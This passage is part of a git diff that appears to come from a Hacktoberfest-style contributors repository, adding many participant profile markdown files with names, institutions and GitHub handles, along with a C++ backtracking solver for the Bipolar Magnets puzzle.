+ +Mathura / India + +### Academics +- MCA from Chandigarh Univeristy +- BCA from GLA university +### Interests + +- Development + +### Development + +- Space-Invasion +- Chat-e-Bot + + +### Projects + +> Heading +- [Space-Invasion](https://github.com/Hemant-Agrawal/Space-Invasion) +> +### Profile Link + +Go to profile [Hemant-Agrawal](https://github.com/Hemant-Agrawal/) +--- \ No newline at end of file diff --git a/content/participant/Hemanth-Raj.md b/content/participant/Hemanth-Raj.md new file mode 100644 index 00000000000..c0f8891fab4 --- /dev/null +++ b/content/participant/Hemanth-Raj.md @@ -0,0 +1,5 @@ +--- +name: Hemanth Raj +institution/company: IIT-ISM Dhanbad +github: hemanthraj2001 +--- \ No newline at end of file diff --git a/content/participant/Hirdey-1999.md b/content/participant/Hirdey-1999.md new file mode 100644 index 00000000000..299251ae388 --- /dev/null +++ b/content/participant/Hirdey-1999.md @@ -0,0 +1,5 @@ +--- +name: Hirdey Mittal +institution/company: Aravali College Of Engineering And Management +github: Hirdey-1999 +--- \ No newline at end of file diff --git a/content/participant/Hrishikesh.md b/content/participant/Hrishikesh.md new file mode 100644 index 00000000000..03d561e446c --- /dev/null +++ b/content/participant/Hrishikesh.md @@ -0,0 +1,5 @@ +--- +Name: Hrishikesh Kulkarni +institution/company: Mumbai University +github: https://github.com/Hrishik03 +--- \ No newline at end of file diff --git a/content/participant/ImmortalHero.md b/content/participant/ImmortalHero.md new file mode 100644 index 00000000000..a1076d8359a --- /dev/null +++ b/content/participant/ImmortalHero.md @@ -0,0 +1,5 @@ +--- +name: Immortal Hero +institution/company: DY PATIL +github: Atharva-Morankar-09 +--- \ No newline at end of file diff --git a/content/participant/ImtiazEpu.md b/content/participant/ImtiazEpu.md new file mode 100644 index 00000000000..6add7b9cdd8 --- /dev/null +++ b/content/participant/ImtiazEpu.md @@ -0,0 +1,5 @@ +--- +name: Imtiaz Epu +institution/company: WPPOOL +github:[ImtiazEpu](https://github.com/ImtiazEpu) +--- \ No newline at end of file diff --git a/content/participant/Ionfinisher.md b/content/participant/Ionfinisher.md new file mode 100644 index 00000000000..81dbd655af8 --- /dev/null +++ b/content/participant/Ionfinisher.md @@ -0,0 +1,5 @@ +--- +name: Teddy ASSIH +institution/company: IPNET INSTITUTE OF TECHNOLOGY +github: Ionfinisher +--- \ No newline at end of file diff --git a/content/participant/IryaDev.md b/content/participant/IryaDev.md index bc4bb3ad8e1..39f8e5a6641 100644 --- a/content/participant/IryaDev.md +++ b/content/participant/IryaDev.md @@ -1,5 +1,5 @@ ---- -name: Miryam Vicente Ollero -institution/company: IES Las Fuentezuelas Spain -github: https://github.com/IryaDev +--- +name: Miryam Vicente Ollero +institution/company: IES Las Fuentezuelas Spain +github: https://github.com/IryaDev --- \ No newline at end of file diff --git a/content/participant/Ishitav03.md b/content/participant/Ishitav03.md new file mode 100644 index 00000000000..f1345672769 --- /dev/null +++ b/content/participant/Ishitav03.md @@ -0,0 +1,3 @@ +name: ISHITA VERMA +institution/company: VIT +github:Ishitav03 diff --git a/content/participant/Ishnoor-kaur.md b/content/participant/Ishnoor-kaur.md new file mode 100644 index 00000000000..bad9333e185 --- /dev/null +++ b/content/participant/Ishnoor-kaur.md @@ -0,0 +1,5 @@ +--- +name: Ishnoor kaur +institution: Guru nanak dev university +github:Ishnoor-kaur +--- diff --git a/content/participant/Izroth404.md b/content/participant/Izroth404.md new file mode 100644 index 00000000000..848fdabbfaa --- /dev/null +++ b/content/participant/Izroth404.md @@ -0,0 +1,5 @@ +--- +name: Avirup Pal +institution: B. P. PODDAR INSTITUTE OF MANAGEMENT AND TECHNOLOGY +github: https://github.com/Izroth404 +--- diff --git a/content/participant/JAPJEET01.md b/content/participant/JAPJEET01.md new file mode 100644 index 00000000000..37e73fcce05 --- /dev/null +++ b/content/participant/JAPJEET01.md @@ -0,0 +1,5 @@ +--- +name: JAPJEET SINGH +institution/company: CODING WORLD +github:JAPJEET01 +--- diff --git a/content/participant/James-Peter8ucla.md b/content/participant/James-Peter8ucla.md new file mode 100644 index 00000000000..ecd03c6a257 --- /dev/null +++ b/content/participant/James-Peter8ucla.md @@ -0,0 +1,3 @@ +name: James Marcus Peter +institution/company: UC berkley +github:James-Peter8ucla diff --git a/content/participant/Jayesh.md b/content/participant/Jayesh.md new file mode 100644 index 00000000000..34198768bf8 --- /dev/null +++ b/content/participant/Jayesh.md @@ -0,0 +1,5 @@ +--- +name: Jayesh Mahajan +institution/company: MITWPU, Pune +github: Jayesh-m +--- diff --git a/content/participant/Jorge-Neves.md b/content/participant/Jorge-Neves.md new file mode 100644 index 00000000000..e79c4324824 --- /dev/null +++ b/content/participant/Jorge-Neves.md @@ -0,0 +1,5 @@ +--- +name: Paulo Santos +institution/company: Bubble-Go +github: Jorge-Neves +--- diff --git a/content/participant/JuanGdev.md b/content/participant/JuanGdev.md new file mode 100644 index 00000000000..46aabf90e14 --- /dev/null +++ b/content/participant/JuanGdev.md @@ -0,0 +1,5 @@ +--- +name: Juan Aguilera +institution/company: Universidad de Guanajuato +github:JuanGdev +--- diff --git a/content/participant/KUSHAGRA-JAISWAL.md b/content/participant/KUSHAGRA-JAISWAL.md new file mode 100644 index 00000000000..e2dbbced38f --- /dev/null +++ b/content/participant/KUSHAGRA-JAISWAL.md @@ -0,0 +1,5 @@ +--- +name: KUSHAGRA-JAISWAL +institution: VIT VELLORE +github: KUSHAGRA-JAISWAL +--- diff --git a/content/participant/Kanishq10.md b/content/participant/Kanishq10.md index 8d9f9c765ce..5ad094912f9 100644 --- a/content/participant/Kanishq10.md +++ b/content/participant/Kanishq10.md @@ -1,5 +1,5 @@ ---- -name: Kanishq10 -institution/company: Chitkara University -github: https://github.com/Kanishq10 +--- +name: Kanishq10 +institution/company: Chitkara University +github: https://github.com/Kanishq10 --- \ No newline at end of file diff --git a/content/participant/Karan9616.md b/content/participant/Karan9616.md new file mode 100644 index 00000000000..14cca55432b --- /dev/null +++ b/content/participant/Karan9616.md @@ -0,0 +1,5 @@ +--- +name: Pushkaran +institution/company: Sir Mvit technology +github: https://github.com/Karan9616 +--- \ No newline at end of file diff --git a/content/participant/Karanjot786.md b/content/participant/Karanjot786.md new file mode 100644 index 00000000000..c7a35fa7ca3 --- /dev/null +++ b/content/participant/Karanjot786.md @@ -0,0 +1,3 @@ +# My Name is Karanjot Singh. I am 18 years. I am student and full stack web developer +# My Github [link](https://github.com/Karanjot786) +# My Website [link](https://karanjot.vercel.app) diff --git a/content/participant/Kartik.md b/content/participant/Kartik.md new file mode 100644 index 00000000000..3cbdcbed29f --- /dev/null +++ b/content/participant/Kartik.md @@ -0,0 +1,5 @@ +--- +name: Kartik Kumar Srivastava +institution/company: SRM IST +github:kartik633 +--- diff --git a/content/participant/Kashish.md b/content/participant/Kashish.md new file mode 100644 index 00000000000..558cfd957b1 --- /dev/null +++ b/content/participant/Kashish.md @@ -0,0 +1,3 @@ +Name : Kashish Khan +Institution : Integral University +github : Kashishkhan08 diff --git a/content/participant/KesineeP.md b/content/participant/KesineeP.md new file mode 100644 index 00000000000..0f5ec2a17fe --- /dev/null +++ b/content/participant/KesineeP.md @@ -0,0 +1,5 @@ +--- +name: Kesinee P +institution/company: Mindera US +github: KesineeP +--- diff --git a/content/participant/Kevinpaulbabu1820.md b/content/participant/Kevinpaulbabu1820.md new file mode 100644 index 00000000000..2a641696483 --- /dev/null +++ b/content/participant/Kevinpaulbabu1820.md @@ -0,0 +1,5 @@ +--- +name: Kevin Paul Babu +institution: ASIET Ernakulam +github: Kevinpaulbabu1820 +--- diff --git a/content/participant/KrishnaNagpal.md b/content/participant/KrishnaNagpal.md new file mode 100644 index 00000000000..c3209f81158 --- /dev/null +++ b/content/participant/KrishnaNagpal.md @@ -0,0 +1,25 @@ + +--- +# Krishna Nagpal + +### India + +New Delhi, Delhi + + +### Interests + +- AI/ML +- App Dev + + + + +### Projects + +> Intent GPT +- [Intent GPT](https://www.youtube.com/watch?v=qzJrbA4UMr0) +> +### Profile Link + +Go to profile [Krishna Nagpal](https://github.com/MurluKrishna4352/) \ No newline at end of file diff --git a/content/participant/Krishnansh5.md b/content/participant/Krishnansh5.md new file mode 100644 index 00000000000..ae8412cdbc8 --- /dev/null +++ b/content/participant/Krishnansh5.md @@ -0,0 +1,5 @@ +--- +name: KRISHNANSH AGARWAL +institution/company: IIT KANPUR +github:Krishnansh5 +--- \ No newline at end of file diff --git a/content/participant/Krishnapro.md b/content/participant/Krishnapro.md new file mode 100644 index 00000000000..15ab0526693 --- /dev/null +++ b/content/participant/Krishnapro.md @@ -0,0 +1,5 @@ +--- +name: Krishna Kumar +institution/company: Haldia Institute of Technology +github: [Krishnapro](https://github.com/Krishnapro) +--- \ No newline at end of file diff --git a/content/participant/Ks103.md b/content/participant/Ks103.md new file mode 100644 index 00000000000..e8cc96d2f5b --- /dev/null +++ b/content/participant/Ks103.md @@ -0,0 +1,5 @@ +--- +name: Khushi Shroff +institution/company: Shri Ramdeobaba college of engineering & management,nagpur +github: https://github.com/Ks103 +--- \ No newline at end of file diff --git a/content/participant/KshitizRana.md b/content/participant/KshitizRana.md new file mode 100644 index 00000000000..6e1de6fe8b6 --- /dev/null +++ b/content/participant/KshitizRana.md @@ -0,0 +1,5 @@ +--- +name: Kshitiz Rana +institution/company: Birla Institue of Applied Sciences +github: https://github.com/KshitizRana +--- diff --git a/content/participant/KunalKatiyar.md b/content/participant/KunalKatiyar.md new file mode 100644 index 00000000000..4e6bd42c9cd --- /dev/null +++ b/content/participant/KunalKatiyar.md @@ -0,0 +1,5 @@ +--- +name: Kunal Katiyar +institution/company: IIT Kharagpur +github: KunalKatiyar +--- \ No newline at end of file diff --git a/content/participant/KunalOstwal02.md b/content/participant/KunalOstwal02.md new file mode 100644 index 00000000000..4ce19ef99aa --- /dev/null +++ b/content/participant/KunalOstwal02.md @@ -0,0 +1,5 @@ +--- +name: Kunal Ostwal +institution: University of Sydney +image: KunalOstwal02 +--- \ No newline at end of file diff --git a/content/participant/Lex-Nguyen.md b/content/participant/Lex-Nguyen.md new file mode 100644 index 00000000000..4ed691ce414 --- /dev/null +++ b/content/participant/Lex-Nguyen.md @@ -0,0 +1,5 @@ +--- +name: Lex Nguyen +institution/company: NA +github: nguyenlamspk +--- \ No newline at end of file diff --git a/content/participant/LinhNguyenLe.md b/content/participant/LinhNguyenLe.md new file mode 100644 index 00000000000..bf10134f8de --- /dev/null +++ b/content/participant/LinhNguyenLe.md @@ -0,0 +1,5 @@ +--- +name: Linh Nguyen Le +institution/company: Seneca College +github: LinhNguyenLe2109 +--- \ No newline at end of file diff --git a/content/participant/Lowkey-Emmanuel.md b/content/participant/Lowkey-Emmanuel.md new file mode 100644 index 00000000000..91e2167270c --- /dev/null +++ b/content/participant/Lowkey-Emmanuel.md @@ -0,0 +1,5 @@ +--- +name: EMMANUEL DIATTA +institution/company: 0S3 Team +github: Lowkey-Emmanuel +--- diff --git a/content/participant/Luca-Argentieri.md b/content/participant/Luca-Argentieri.md index 6d80348ae08..cbc874feaa9 100644 --- a/content/participant/Luca-Argentieri.md +++ b/content/participant/Luca-Argentieri.md @@ -1,5 +1,5 @@ ---- -name: Luca Argentieri -institution/company: Github -github: lucaargentieri ---- +--- +name: Luca Argentieri +institution/company: Github +github: lucaargentieri +--- diff --git a/content/participant/LukeHughes.md b/content/participant/LukeHughes.md new file mode 100644 index 00000000000..d8d1fd83a5e --- /dev/null +++ b/content/participant/LukeHughes.md @@ -0,0 +1,5 @@ +--- +name: Luke Hughes +institution: Internet +github: LucalusHughgalus +--- diff --git a/content/participant/M3hank.md b/content/participant/M3hank.md index 89cab3efc01..6756c39f00b 100644 --- a/content/participant/M3hank.md +++ b/content/participant/M3hank.md @@ -1,5 +1,5 @@ ---- -name: Mehank -institution/company: Parul University -github: M3hank +--- +name: Mehank +institution/company: Parul University +github: M3hank --- \ No newline at end of file diff --git a/content/participant/MSaimRaza.md b/content/participant/MSaimRaza.md new file mode 100644 index 00000000000..ff684ce263d --- /dev/null +++ b/content/participant/MSaimRaza.md @@ -0,0 +1,5 @@ +--- +Name: M Saim Raza +institution/company: Virtual University +github: https://github.com/msaimraz +--- diff --git a/content/participant/Magnet_Puzzzle.cpp.cpp b/content/participant/Magnet_Puzzzle.cpp.cpp new file mode 100644 index 00000000000..f1f58022333 --- /dev/null +++ b/content/participant/Magnet_Puzzzle.cpp.cpp @@ -0,0 +1,302 @@ +#include +using namespace std; + +// `M × N` matrix +#define M 5 +#define N 6 + +// Utility function to print solution +void printSolution(char board[M][N]) +{ + for (int i = 0; i < M; i++) + { + for (int j = 0; j < N; j++) { + cout << board[i][j] << " "; + } + cout << endl; + } +} + +// Utility function to count the total number of characters `ch` in current column `j` +int countInColumns(char board[N][N], char ch, int j) +{ + int count = 0; + for (int i = 0; i < M; i++) + { + if (board[i][j] == ch) { + count++; + } + } + + return count; +} + +// Utility function to count the total number of characters `ch` in current row `i` +int countInRow(char board[N][N], char ch, int i) +{ + int count = 0; + for (int j = 0; j < N; j++) + { + if (board[i][j] == ch) { + count++; + } + } + + return count; +} + +// Function to check if it is safe to put `ch` at `board[row][col]` +bool isSafe(char board[N][N], int row, int col, char ch, int top[], + int left[], int bottom[], int right[]) +{ + // check for adjacent cells + if ((row - 1 >= 0 && board[row - 1][col] == ch) || + (col + 1 < N && board[row][col + 1] == ch) || + (row + 1 < M && board[row + 1][col] == ch) || + (col - 1 >= 0 && board[row][col - 1] == ch)) { + return false; + } + + // count character `ch` in the current row + int rowCount = countInRow(board, ch, row); + + // count character `ch` in the current column + int colCount = countInColumns(board, ch, col); + + // if the given character is `+`, check `top[]` and `left[]` + if (ch == '+') + { + // check top + if (top[col] != -1 && colCount >= top[col]) { + return false; + } + + // check left + if (left[row] != -1 && rowCount >= left[row]) { + return false; + } + } + + // if the given character is `-`, check `bottom[]` and `right[]` + if (ch == '-') + { + // check bottom + if (bottom[col] != -1 && colCount >= bottom[col]) { + return false; + } + + // check left + if (right[row] != -1 && rowCount >= right[row]) { + return false; + } + } + + return true; +} + +// Function to validate the configuration of an output board +bool validateConfiguration(char board[N][N], int top[], int left[], + int bottom[], int right[]) +{ + // check top + for (int i = 0; i < N; i++) + { + if (top[i] != -1 && countInColumns(board, '+', i) != top[i]) { + return false; + } + } + + // check left + for (int j = 0; j < M; j++) + { + if (left[j] != -1 && countInRow(board, '+', j) != left[j]) { + return false; + } + } + + // check bottom + for (int i = 0; i < N; i++) + { + if (bottom[i] != -1 && countInColumns(board, '-', i) != bottom[i]) { + return false; + } + } + + // check right + for (int j = 0; j < M; j++) + { + if (right[j] != -1 && countInRow(board, '-', j) != right[j]) { + return false; + } + } + + return true; +} + +// The main function to solve the Bipolar Magnets puzzle +bool solveMagnetPuzzle(char board[N][N], int row, int col, int top[], + int left[], int bottom[], int right[], char rules[M][N]) +{ + // if the last cell is reached + if (row >= M - 1 && col >= N - 1) + { + if (validateConfiguration(board, top, left, bottom, right)) { + return true; + } + + return false; + } + + // if the last column of the current row is already processed, + // go to the next row, the first column + if (col >= N) + { + col = 0; + row = row + 1; + } + + // if the current cell contains `R` or `B` (end of horizontal + // or vertical slot), recur for the next cell + if (rules[row][col] == 'R' || rules[row][col] == 'B') + { + if (solveMagnetPuzzle(board, row, col + 1, top, + left, bottom, right, rules)) { + return true; + } + } + + // if horizontal slot contains `L` and `R` + if (rules[row][col] == 'L' && rules[row][col + 1] == 'R') + { + // put (`+`, `-`) pair and recur + if (isSafe(board, row, col, '+', top, left, bottom, right) && + isSafe(board, row, col + 1, '-', top, left, bottom, right)) + { + board[row][col] = '+'; + board[row][col + 1] = '-'; + + if (solveMagnetPuzzle(board, row, col + 2, + top, left, bottom, right, rules)) { + return true; + } + + // if it doesn't lead to a solution, backtrack + board[row][col] = 'X'; + board[row][col + 1] = 'X'; + } + + // put (`-`, `+`) pair and recur + if (isSafe(board, row, col, '-', top, left, bottom, right) && + isSafe(board, row, col + 1, '+', top, left, bottom, right)) + { + board[row][col] = '-'; + board[row][col + 1] = '+'; + + if (solveMagnetPuzzle(board, row, col + 2, + top, left, bottom, right, rules)) { + return true; + } + + // if it doesn't lead to a solution, backtrack + board[row][col] = 'X'; + board[row][col + 1] = 'X'; + } + } + + // if vertical slot contains `T` and `B` + if (rules[row][col] == 'T' && rules[row + 1][col] == 'B') + { + // put (`+`, `-`) pair and recur + if (isSafe(board, row, col, '+', top, left, bottom, right) && + isSafe(board, row + 1, col, '-', top, left, bottom, right)) + { + board[row][col] = '+'; + board[row + 1][col] = '-'; + + if (solveMagnetPuzzle(board, row, col + 1, + top, left, bottom, right, rules)) { + return true; + } + + // if it doesn't lead to a solution, backtrack + board[row][col] = 'X'; + board[row + 1][col] = 'X'; + } + + // put (`-`, `+`) pair and recur + if (isSafe(board, row, col, '-', top, left, bottom, right) && + isSafe(board, row + 1, col, '+', top, left, bottom, right)) + { + board[row][col] = '-'; + board[row + 1][col] = '+'; + + if (solveMagnetPuzzle(board, row, col + 1, + top, left, bottom, right, rules)) { + return true; + } + + // if it doesn't lead to a solution, backtrack + board[row][col] = 'X'; + board[row + 1][col] = 'X'; + } + } + + // ignore the current cell and recur + if (solveMagnetPuzzle(board, row, col + 1, + top, left, bottom, right, rules)) { + return true; + } + + // if no solution is possible, return false + return false; +} + +void solveMagnetPuzzle(int top[], int left[], int bottom[], + int right[], char rules[M][N]) +{ + // to store the result + char board[M][N]; + + // initialize all cells by `X` + for (int i = 0; i < M; i++) + { + for (int j = 0; j < N; j++) { + board[i][j] = 'X'; + } + } + + // start from `(0, 0)` cell + if (!solveMagnetPuzzle(board, 0, 0, top, left, bottom, right, rules)) + { + cout << "Solution does not exist"; + return; + } + + // print result if the given configuration is solvable + printSolution(board); +} + +int main() +{ + // indicates the count of `+` or `-` along the top (+), bottom (-), + // left (+), and right (-) edges, respectively. + // Value of -1 indicate any number of `+` or `-` signs + int top[N] = { 1, -1, -1, 2, 1, -1 }; + int bottom[N] = { 2, -1, -1, 2, -1, 3 }; + int left[M] = { 2, 3, -1, -1, -1 }; + int right[M] = { -1, -1, -1, 1, -1 }; + + // rules matrix + char rules[M][N] = + { + { 'L', 'R', 'L', 'R', 'T', 'T' }, + { 'L', 'R', 'L', 'R', 'B', 'B' }, + { 'T', 'T', 'T', 'T', 'L', 'R' }, + { 'B', 'B', 'B', 'B', 'T', 'T' }, + { 'L', 'R', 'L', 'R', 'B', 'B' } + }; + + solveMagnetPuzzle(top, left, bottom, right, rules); + + return 0; +} \ No newline at end of file diff --git a/content/participant/Maheshparihar231.md b/content/participant/Maheshparihar231.md new file mode 100644 index 00000000000..9e260bdce89 --- /dev/null +++ b/content/participant/Maheshparihar231.md @@ -0,0 +1,5 @@ +--- +name: Mahesh_parihar +institution/company: Indian Institute Of Information Technology, Dharwad +github:Maheshparihar231 +--- diff --git a/content/participant/MahibulHaque.md b/content/participant/MahibulHaque.md new file mode 100644 index 00000000000..4d6b627fe1c --- /dev/null +++ b/content/participant/MahibulHaque.md @@ -0,0 +1,5 @@ +--- +name: Md Mahibul Haque +institution/company: BRAC University +github:MahibulHaque +--- diff --git a/content/participant/Man-tkL.md b/content/participant/Man-tkL.md new file mode 100644 index 00000000000..688ae18ed5b --- /dev/null +++ b/content/participant/Man-tkL.md @@ -0,0 +1,6 @@ +--- +name: SP SIMS +institution/company: Xarala +link: https://github.com/KariSims/Hacktoberfest2022 +github: KariSims +--- diff --git a/content/participant/Mannxxx.md b/content/participant/Mannxxx.md new file mode 100644 index 00000000000..1cb7a15ce42 --- /dev/null +++ b/content/participant/Mannxxx.md @@ -0,0 +1,5 @@ +--- +name: Mansi +institution/company: Indian Institute of Technology Delhi +github: Mannxxx +--- \ No newline at end of file diff --git a/content/participant/ManonVarma.md b/content/participant/ManonVarma.md new file mode 100644 index 00000000000..8b18e692d92 --- /dev/null +++ b/content/participant/ManonVarma.md @@ -0,0 +1,5 @@ +--- +name: Naman Verma +institution/company: LDRP Insitute Of Technology and Research +github: ManonVarma +--- diff --git a/content/participant/Mansi-2000.md b/content/participant/Mansi-2000.md new file mode 100644 index 00000000000..1a46599af5a --- /dev/null +++ b/content/participant/Mansi-2000.md @@ -0,0 +1,5 @@ +--- +name: Mansi Tundele +institution/company: IIITV +github:Mansi-2000 +--- \ No newline at end of file diff --git a/content/participant/Manthan.md b/content/participant/Manthan.md new file mode 100644 index 00000000000..458c13aa004 --- /dev/null +++ b/content/participant/Manthan.md @@ -0,0 +1,5 @@ +--- +name: Manthan Lal +Profile: DevSecOps +github: manthanlal +--- diff --git a/content/participant/Mayank30-creator.md b/content/participant/Mayank30-creator.md new file mode 100644 index 00000000000..71c5531f885 --- /dev/null +++ b/content/participant/Mayank30-creator.md @@ -0,0 +1,3 @@ +Name: Mayank Agrawal +Institution: MITS +Github: Mayank30-creator diff --git a/content/participant/MetalOoze05.md b/content/participant/MetalOoze05.md new file mode 100644 index 00000000000..d9c05d0725e --- /dev/null +++ b/content/participant/MetalOoze05.md @@ -0,0 +1,5 @@ +--- +name: Ayan +institution/company: Student +github: MetalOoze05 +--- diff --git a/content/participant/Mhassanniazi.md b/content/participant/Mhassanniazi.md new file mode 100644 index 00000000000..454704783b5 --- /dev/null +++ b/content/participant/Mhassanniazi.md @@ -0,0 +1,4 @@ +--- +name: Muhammad Hassan +github: https://github.com/Mhassanniazi +--- diff --git a/content/participant/Miftahunajat.md b/content/participant/Miftahunajat.md new file mode 100644 index 00000000000..3634c1c05b8 --- /dev/null +++ b/content/participant/Miftahunajat.md @@ -0,0 +1,4 @@ +--- +name: Miftahun Najat +github: miftahunajat +--- \ No newline at end of file diff --git a/content/participant/MinorLess.md b/content/participant/MinorLess.md new file mode 100644 index 00000000000..185afb0d330 --- /dev/null +++ b/content/participant/MinorLess.md @@ -0,0 +1,5 @@ +--- +name: MinorLess +institution/company: None +github: MinorLess +--- \ No newline at end of file diff --git a/content/participant/Moinuddin.md b/content/participant/Moinuddin.md new file mode 100644 index 00000000000..b98e049fc2a --- /dev/null +++ b/content/participant/Moinuddin.md @@ -0,0 +1,5 @@ +--- +Name: Moinuddin +Role: Jr. Flutter Dev +github: Moinuddin9777 +--- diff --git a/content/participant/Moons.md b/content/participant/Moons.md new file mode 100644 index 00000000000..d7164387443 --- /dev/null +++ b/content/participant/Moons.md @@ -0,0 +1,5 @@ +--- +name: Vaibhav +institution/company: IIT BHU +github: 17Moons +--- \ No newline at end of file diff --git a/content/participant/Muhammed-Rajab.md b/content/participant/Muhammed-Rajab.md new file mode 100644 index 00000000000..dd2495c00f6 --- /dev/null +++ b/content/participant/Muhammed-Rajab.md @@ -0,0 +1,5 @@ +--- +name: Muhammad Rajab +institution/company: Self Taught +github: Muhammed-Rajab +--- diff --git a/content/participant/Nasreen-Parween.md b/content/participant/Nasreen-Parween.md new file mode 100644 index 00000000000..5168c4eb0c4 --- /dev/null +++ b/content/participant/Nasreen-Parween.md @@ -0,0 +1,6 @@ + +--- +name: Nasreen Parween +institution/company: UNIVERSITY OF DELHI +github: NasreenParween +--- diff --git a/content/participant/Nav21000.md b/content/participant/Nav21000.md new file mode 100644 index 00000000000..d1b3030182c --- /dev/null +++ b/content/participant/Nav21000.md @@ -0,0 +1,5 @@ +--- +name: Navneet Gupta +institution/company: CU +github: Nav21000 +--- \ No newline at end of file diff --git a/content/participant/NitinRana01125532553.md b/content/participant/NitinRana01125532553.md new file mode 100644 index 00000000000..5e06ac9d0c5 --- /dev/null +++ b/content/participant/NitinRana01125532553.md @@ -0,0 +1,5 @@ +--- +Name: Nitin Rana +institution/company: NA +github: https://github.com/NitinRana01125532553 +--- diff --git a/content/participant/Nkashyap-anand.md b/content/participant/Nkashyap-anand.md new file mode 100644 index 00000000000..6c731e964d1 --- /dev/null +++ b/content/participant/Nkashyap-anand.md @@ -0,0 +1,5 @@ +--- +name: Nalin Kashyap +institution/company: Sharda University +github: Nkashyap-anand +--- diff --git a/content/participant/OlegAtaman.md b/content/participant/OlegAtaman.md new file mode 100644 index 00000000000..8b1f9b91a1a --- /dev/null +++ b/content/participant/OlegAtaman.md @@ -0,0 +1,5 @@ +--- +name: Oleg Ataman +institution/company: National Technical University of Ukraine “Igor Sikorsky Kyiv Polytechnic Institute” +github: OlegAtaman +--- \ No newline at end of file diff --git a/content/participant/Owais.md b/content/participant/Owais.md new file mode 100644 index 00000000000..6571f62f398 --- /dev/null +++ b/content/participant/Owais.md @@ -0,0 +1,5 @@ +--- +Name: Muhammad Owais Warsi +Institution: SRM as a Student +Github: Muhammad-Owais-Warsi +--- \ No newline at end of file diff --git a/content/participant/PakaVishwaTeja b/content/participant/PakaVishwaTeja new file mode 100644 index 00000000000..cf2a5275c6f --- /dev/null +++ b/content/participant/PakaVishwaTeja @@ -0,0 +1,5 @@ +--- +name: Vishwa Teja Paka +institution/company: Indian Institute of Technology (Indian School of Mines) Dhanbad, +github:PakaVishwaTeja +--- diff --git a/content/participant/Pallavi b/content/participant/Pallavi new file mode 100644 index 00000000000..a7514c8f5d9 --- /dev/null +++ b/content/participant/Pallavi @@ -0,0 +1,5 @@ +--- +name: YOURNAME +institution/company: INSTITUTION_NAME +github: USERNAME +--- diff --git a/content/participant/Pallavi.md b/content/participant/Pallavi.md new file mode 100644 index 00000000000..7204f66d421 --- /dev/null +++ b/content/participant/Pallavi.md @@ -0,0 +1,5 @@ +--- +name: PALLAVI +institution/company: IIT (BHU), VARANASI +github: https://github.com/PS-11 +--- diff --git a/content/participant/Pankaj809.md b/content/participant/Pankaj809.md new file mode 100644 index 00000000000..bf51f9993a3 --- /dev/null +++ b/content/participant/Pankaj809.md @@ -0,0 +1,5 @@ +--- +name: Pankaj Adhikari +institution/company: Madan Bhandari Memorial College +github:Pankaj809 +--- diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/nikestore/index.js b/content/participant/Parth-Panjwani.md similarity index 100% rename from Add Code Here/JAVASCRIPT/Quote Generator/nikestore/index.js rename to content/participant/Parth-Panjwani.md diff --git a/content/participant/PaulTitto.md b/content/participant/PaulTitto.md new file mode 100644 index 00000000000..53545514532 --- /dev/null +++ b/content/participant/PaulTitto.md @@ -0,0 +1,5 @@ +--- +name: PaulTitto +institution/company: - +github:PaulTitto +--- diff --git a/content/participant/PhilipMello.md b/content/participant/PhilipMello.md new file mode 100644 index 00000000000..edee2de41fa --- /dev/null +++ b/content/participant/PhilipMello.md @@ -0,0 +1,5 @@ +--- +name: Philip Mello +institution/company: PHILIP STORE +github:PhilipMello +--- \ No newline at end of file diff --git a/content/participant/PrateekSingh43.md b/content/participant/PrateekSingh43.md new file mode 100644 index 00000000000..bcfcad40f9c --- /dev/null +++ b/content/participant/PrateekSingh43.md @@ -0,0 +1,6 @@ + +--- +name: Prateek Singh +institution/company: Techno International New town +github: PrateekSingh43 +--- diff --git a/content/participant/PrishitaSingh b/content/participant/PrishitaSingh new file mode 100644 index 00000000000..d4cdfd27698 --- /dev/null +++ b/content/participant/PrishitaSingh @@ -0,0 +1,5 @@ +--- +name: Prishita Singh +institution: JUIT +github: prishita-s +--- diff --git a/content/participant/Pritam0077 b/content/participant/Pritam0077 new file mode 100644 index 00000000000..0fbaceb1e4d --- /dev/null +++ b/content/participant/Pritam0077 @@ -0,0 +1,5 @@ +--- +name: Pritam +institution/company: SOA University +github: Pritam0077 +--- diff --git a/content/participant/Priyadarshini-25.md b/content/participant/Priyadarshini-25.md index b03793c102f..d2aa04e84f0 100644 --- a/content/participant/Priyadarshini-25.md +++ b/content/participant/Priyadarshini-25.md @@ -1,5 +1,5 @@ ---- -name: Priyadarshini Acharjee -institution/company: Kalinga Institute of Industrial Technology -github:Priyadarshini-25 +--- +name: Priyadarshini Acharjee +institution/company: Kalinga Institute of Industrial Technology +github:Priyadarshini-25 --- \ No newline at end of file diff --git a/content/participant/ProfoundlyParker.md b/content/participant/ProfoundlyParker.md new file mode 100644 index 00000000000..8800e5ff26e --- /dev/null +++ b/content/participant/ProfoundlyParker.md @@ -0,0 +1,8 @@ +--- +Name: Parker Ramey +Location: Atlanta, GA +Academy: Zero to Mastery +Interests: Animals, pilates/yoga, textile arts +Projects: [SmartBrain](https://github.com/ProfoundlyParker/SmartBrain--front-end) +GitHub: [ProfoundlyParker](https://github.com/ProfoundlyParker/) +-- diff --git a/content/participant/Puzer-03.md b/content/participant/Puzer-03.md new file mode 100644 index 00000000000..7a79eb77751 --- /dev/null +++ b/content/participant/Puzer-03.md @@ -0,0 +1,5 @@ +--- +name: Parth Banker +institution/company: Gujarat University +github: Puzer-03 +--- diff --git a/content/participant/RP2025.md b/content/participant/RP2025.md new file mode 100644 index 00000000000..70fca3a7ddd --- /dev/null +++ b/content/participant/RP2025.md @@ -0,0 +1,5 @@ +--- +name: Raksha Pahariya +institution/company: Indian Institute of engineering Science and Technology Shibpur +github: RP2025 +--- \ No newline at end of file diff --git a/content/participant/Rahulgarg01.md b/content/participant/Rahulgarg01.md new file mode 100644 index 00000000000..9f3341c1243 --- /dev/null +++ b/content/participant/Rahulgarg01.md @@ -0,0 +1,5 @@ +--- +name: Rahul Garg +institution/company: Maharaja Agrasen Institute of Technology +github: Rahulgarg01 +--- \ No newline at end of file diff --git a/content/participant/RajK19.md b/content/participant/RajK19.md new file mode 100644 index 00000000000..94520087b59 --- /dev/null +++ b/content/participant/RajK19.md @@ -0,0 +1,5 @@ +--- +Name: Raj K +Institution/Company: DYP, Mumbai +Github: RajK19 +--- \ No newline at end of file diff --git a/content/participant/RajMaity.md b/content/participant/RajMaity.md new file mode 100644 index 00000000000..d99b56fbcab --- /dev/null +++ b/content/participant/RajMaity.md @@ -0,0 +1,5 @@ +--- +name: Raj Maity +institution/company: Bhilai Institute of Technology, Durg (C.G) +github:RajMaity +--- diff --git a/content/participant/Rajat009-Ra1.md 